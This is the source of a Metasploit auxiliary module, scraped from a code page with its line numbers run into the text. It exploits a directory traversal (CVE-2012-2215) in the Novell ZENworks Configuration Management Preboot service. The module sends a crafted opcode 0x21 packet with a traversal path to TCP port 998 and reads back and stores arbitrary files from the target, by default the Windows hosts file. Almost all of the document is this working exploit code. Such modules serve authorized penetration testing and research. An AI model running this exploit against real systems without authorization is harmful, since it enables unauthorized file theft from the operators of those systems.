Path: blob/master/modules/auxiliary/scanner/misc/zenworks_preboot_fileaccess.rb
19500 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Tcp7include Msf::Auxiliary::Report8include Msf::Auxiliary::Scanner910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Novell ZENworks Configuration Management Preboot Service Remote File Access',15'Description' => %q{16This module exploits a directory traversal in the ZENworks Configuration Management.17The vulnerability exists in the Preboot service and can be triggered by sending a specially18crafted PROXY_CMD_FTP_FILE (opcode 0x21) packet to the 998/TCP port. This module has been19successfully tested on Novell ZENworks Configuration Management 10 SP2 and SP3 over Windows.20},21'License' => MSF_LICENSE,22'Author' => [23'Luigi Auriemma', # Vulnerability Discovery24'juan vazquez' # Metasploit module25],26'References' => [27[ 'CVE', '2012-2215' ],28[ 'OSVDB', '80230' ],29[ 'URL', 'https://web.archive.org/web/20121103122235/http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=975' ]30],31'Notes' => {32'Reliability' => UNKNOWN_RELIABILITY,33'Stability' => UNKNOWN_STABILITY,34'SideEffects' => UNKNOWN_SIDE_EFFECTS35}36)37)3839register_options(40[41Opt::RPORT(998),42OptString.new('FILEPATH', [true, 'The name of the file to download', '\\WINDOWS\\system32\\drivers\\etc\\hosts']),43OptInt.new('DEPTH', [true, 'Traversal depth', 6])44]45)46end4748def run_host(ip)49# No point to continue if no filename is specified50if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?51print_error("Please supply the name of the file you want to download")52return53end5455travs = "\\.." * datastore['DEPTH']56travs << "\\" unless datastore['FILEPATH'][0] == "\\"57travs << datastore['FILEPATH']5859payload = Rex::Text.to_unicode(travs)60packet = [0x21].pack("N") # Opcode61packet << [payload.length].pack("N") # Length62packet << payload # Value6364connect65sock.put(packet)66sock.get_once(4, 1)67length = sock.get_once(4, 1)6869unless length70print_error("Unable to get length due to a timeout")71return72end7374sock.get_once(0x210 - 8, 1)75contents = sock.get_once(length.unpack("V").first, 1)7677unless contents78print_error("Unable to extract contents due to a timeout")79return80end8182disconnect8384print_good "File retrieved successfully!"85fname = File.basename(datastore['FILEPATH'])86path = store_loot(87'novell.zenworks_configuration_management',88'application/octet-stream',89ip,90contents,91fname92)93print_status("File saved in: #{path}")94end95end969798